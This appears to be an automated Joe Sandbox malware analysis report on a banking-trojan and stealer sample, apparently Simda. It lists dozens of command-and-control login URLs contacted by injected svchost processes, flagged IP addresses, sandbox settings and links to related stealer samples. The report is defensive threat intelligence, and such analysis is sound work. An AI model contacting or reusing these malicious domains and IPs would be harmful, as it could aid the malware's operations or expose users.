http://lysysyx.com/login.php	svchost.exe, 00000002.00000003.2346403174.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2657780583.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667617957.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649350353.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672508299.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346961253.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://volyjif.com/login.php	svchost.exe, 00000002.00000003.2376137841.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2380222392.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2381728153.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2376002854.000000000923B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2884058737.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://vonypic.com/login.php	svchost.exe, 00000002.00000003.2376137841.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2379463124.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2380581815.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2365866545.00000000092C2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2852112632.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2373591398.00000000092B6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://puzyxip.com/login.php	svchost.exe, 00000002.00000003.2757808782.0000000003319000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2363891080.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2364207806.0000000000852000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://vofydak.com/login.php	svchost.exe, 00000002.00000003.2885524752.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2377062429.0000000003357000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2902106768.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://pumyxiv.com/login.php	svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2414263063.00000000033CA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388023341.0000000000852000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2197741050.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388405607.00000000033C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178331950.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2386784820.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2385120826.00000000033EB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2398171627.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513835440.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499628727.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2649196751.00000000091F7000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2622033644.0000000008E90000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D72000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D8F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000003.2558068199.0000000008D9F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2671362092.00000000086C1000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2671362092.0000000008682000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2745540362.00000000093A5000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://qedysyp.com/login.php	svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347333934.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346961253.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347614295.0000000000853000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://gahyvuh.com/login.php	svchost.exe, 00000002.00000003.2346403174.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2657780583.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649350353.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347333934.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347614295.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://puzyduq.com/login.php	svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://puzydal.com/login.php	svchost.exe, 00000002.00000003.2509683984.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2322419492.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2311968303.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2527939785.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2523187509.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2310767470.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2512099666.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2506997946.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2314873415.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2322755404.00000000092B7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://qegyhig.com/login.phpY	svchost.exe, 00000002.00000003.2223016601.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2197741050.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178331950.00000000008A3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://lyxysad.com/login.php	svchost.exe, 00000002.00000003.2726510414.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2360864557.0000000003331000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2757808782.0000000003319000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2729337658.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2360502034.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2849292157.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760150538.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2361263640.0000000000852000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746470521.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358968663.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358089375.00000000092C8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359102012.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2725544478.0000000003317000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2735954545.0000000003368000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://106.15.232.163/H	svchost.exe, 00000002.00000003.2427508592.00000000092AD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://gahyhys.com/login.php	svchost.exe, 00000002.00000003.2637865779.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337365737.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337520424.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337073481.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2601374159.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2571444797.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635608953.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2612862437.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336470104.0000000003356000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://purywyl.com/login.php	svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667617957.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://lykyjad.com/login.php	svchost.exe, 00000002.00000003.2396904091.000000000331D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388023341.0000000000852000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2427094852.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2387196147.000000000331C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2385326544.0000000003319000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2185076169.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2398171627.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2387081098.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2622033644.0000000008E90000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000003.2572564754.0000000000FB2000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D8F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2613849314.0000000000FB4000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2744689381.0000000009396000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000003.2558068199.0000000008D9F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2613849314.0000000000F68000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2671362092.00000000086C1000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2608350004.00000000007DF000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2745540362.00000000093CD000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2614917822.0000000001555000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2614917822.00000000015A9000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000002.2640207678.00000000013B4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://vojyzik.com/login.php	svchost.exe, 00000002.00000003.2726510414.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2360502034.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2361263640.0000000000852000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2361214474.0000000003356000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746470521.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746888339.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358968663.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358089375.00000000092C8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2829874698.000000000084D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359102012.00000000092C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.google.comtK6	svchost.exe, 00000002.00000003.2332355296.0000000009364000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359070684.0000000009360000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://vojycec.com/login.php	svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667617957.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672508299.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://gatyfus.com/login.php	svchost.exe, 00000002.00000003.2223016601.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388023341.0000000000852000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2381751568.0000000003331000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2197741050.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2184899677.00000000008E8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2207439218.00000000008E9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178331950.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2185076169.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2384537956.0000000003331000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2398171627.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2387081098.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2622033644.0000000008E20000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2604863482.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2622033644.0000000008E90000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2613849314.0000000000EE8000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D8F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2744689381.0000000009396000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000003.2558068199.0000000008D9F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2613849314.0000000000F68000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2608350004.00000000007B6000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2671362092.00000000086C1000.00000004.00000001.00020000.00000000.sdmp	false		high
http://galyfis.com/	svchost.exe, 00000002.00000003.2347539212.0000000003309000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://lymymax.com/H	svchost.exe, 00000002.00000003.2667584330.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2694181112.00000000040F3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://volydot.com/login.php	svchost.exe, 00000002.00000003.2513678339.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2311968303.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2512566471.00000000092C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2542956129.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2310767470.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513019694.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2530302930.00000000092C9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499635923.0000000000855000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://lyryvur.com/login.php	svchost.exe, 00000002.00000003.2344956997.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2612622918.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2631989272.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2601374159.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2571444797.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2342419975.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2575537635.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2612862437.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332264267.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2344054756.0000000003378000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://pujygug.com/login.php	svchost.exe, 00000002.00000003.2376137841.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2902106768.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3426788667.0000000009235000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
3.94.10.34	lygynud.com	United States	14618	AMAZON-AESUS	false
64.190.63.136	www.sedoparking.com	United States	11696	NBS11696US	false
106.15.232.163	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	true
72.52.179.174	pltraffic7.com	United States	32244	LIQUIDWEBUS	false
45.79.19.196	deliver.trafficmotor.com	United States	63949	LINODE-APLinodeLLCUS	true
154.85.183.50	qegyval.com	Seychelles	134548	DXTL-HKDXTLTseungKwanOServiceHK	false
64.225.91.73	galynuh.com	United States	14061	DIGITALOCEAN-ASNUS	false
52.34.198.229	lygyvuj.com	United States	16509	AMAZON-02US	false
99.83.170.3	unknown	United States	16509	AMAZON-02US	true
75.2.71.199	puzylyp.com	United States	16509	AMAZON-02US	false
103.150.10.48	gtm-sg-6l13ukk0m05.qu200.com	unknown	59253	LEASEWEB-APAC-SIN-11LeasewebAsiaPacificpteltdSG	false
23.253.46.64	gahyqah.com	United States	19994	RACKSPACEUS	false
199.191.50.83	galyqaz.com	Virgin Islands (BRITISH)	40034	CONFLUENCE-NETWORK-INCVG	false
13.248.169.48	pupydeq.com	United States	16509	AMAZON-02US	false
103.224.212.210	lyxynyx.com	Australia	133618	TRELLIAN-AS-APTrellianPtyLimitedAU	false
76.223.67.189	qexyhuv.com	United States	16509	AMAZON-02US	false
18.208.156.248	pupycag.com	United States	14618	AMAZON-AESUS	false
208.100.26.245	lyvyxor.com	United States	32748	STEADFASTUS	false
199.59.243.227	77026.bodis.com	United States	395082	BODIS-NJUS	false
103.224.182.252	vofycot.com	Australia	133618	TRELLIAN-AS-APTrellianPtyLimitedAU	false
91.195.240.19	parkingpage.namecheap.com	Germany	47846	SEDO-ASDE	false
162.255.119.102	unknown	United States	22612	NAMECHEAP-NETUS	true
188.114.97.3	lysyvan.com	European Union	13335	CLOUDFLARENETUS	false
44.221.84.105	gadyciz.com	United States	14618	AMAZON-AESUS	false
154.212.231.82	gadyniw.com	Seychelles	133201	COMING-ASABCDEGROUPCOMPANYLIMITEDHK	false
188.114.96.3	qegyhig.com	European Union	13335	CLOUDFLARENETUS	false
85.17.31.122	gatyfus.com	Netherlands	60781	LEASEWEB-NL-AMS-01NetherlandsNL	false
178.162.203.226	unknown	Germany	28753	LEASEWEB-DE-FRA-10DE	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1553852
Start date and time:	2024-11-11 18:49:30 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	27
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	13
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	UMwpXhA46R.exe renamed because original name is a hash value
Original Sample Name:	ef7eacbab6cd35771675717a0a84939f529c1ac4.exe
Detection:	MAL
Classification:	mal100.bank.troj.spyw.expl.evad.winEXE@13/61@2294/28
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 92 Number of non-executed functions: 238
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.209.160, 2.23.209.182, 2.23.209.176, 2.23.209.177, 2.23.209.183, 2.23.209.185, 2.23.209.130, 2.23.209.158, 2.23.209.189, 2.23.209.181, 2.23.209.135, 2.23.209.193, 2.23.209.187, 2.23.209.133, 20.42.65.92, 2.23.209.140, 2.23.209.149, 52.168.117.173, 52.182.143.212, 2.23.209.150, 2.23.209.144, 2.23.209.141, 13.89.179.12, 2.23.209.179
Excluded domains from analysis (whitelisted): www.bing.com, onedsblobprdeus16.eastus.cloudapp.azure.com, client.wns.windows.com, otelrules.azureedge.net, slscr.update.microsoft.com, onedsblobprdcus17.centralus.cloudapp.azure.com, www-www.bing.com.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, e86303.dscx.akamaiedge.net, onedsblobprdeus17.eastus.cloudapp.azure.com, ocsp.digicert.com, www.bing.com.edgekey.net, onedsblobprdcus15.centralus.cloudapp.azure.com, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: UMwpXhA46R.exe

Simulations

Behavior and APIs

Time	Type	Description
12:51:07	API Interceptor	10x Sleep call for process: WerFault.exe modified
12:51:29	API Interceptor	432216x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3.94.10.34	1fWgBXPgiT.exe	Get hash	malicious	Simda Stealer	Browse	lymyxid.com/login.php
	arxtPs1STE.exe	Get hash	malicious	Simda Stealer	Browse	lymyxid.com/login.php
	Z8eHwAvqAh.exe	Get hash	malicious	Simda Stealer	Browse	lygynud.com/login.php
	WlCVLbzNph.exe	Get hash	malicious	Simda Stealer	Browse	lygynud.com/login.php
	Bpfz752pYZ.exe	Get hash	malicious	Simda Stealer	Browse	lygynud.com/login.php
	uavINoSIQh.exe	Get hash	malicious	Simda Stealer	Browse	lymyxid.com/login.php
	7DAKMhINGk.exe	Get hash	malicious	Simda Stealer	Browse	lymyxid.com/login.php
	AENiBH7X1q.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	ctdtgwag.biz/wikoehfueo
	E_dekont.cmd	Get hash	malicious	DBatLoader, Nitol, PureLog Stealer, XWorm	Browse	ctdtgwag.biz/xyrpanl
	Y2EM7suNV5.exe	Get hash	malicious	MassLogger RAT	Browse	gvijgjwkh.biz/maxlthgls
64.190.63.136	1fWgBXPgiT.exe	Get hash	malicious	Simda Stealer	Browse	ww16.vofycot.com/login.php?sub1=20241112-0450-17b0-8984-b4b272a22199
	arxtPs1STE.exe	Get hash	malicious	Simda Stealer	Browse	ww16.vofycot.com/login.php?sub1=20241112-0433-44f6-9e59-dc72adbb0086
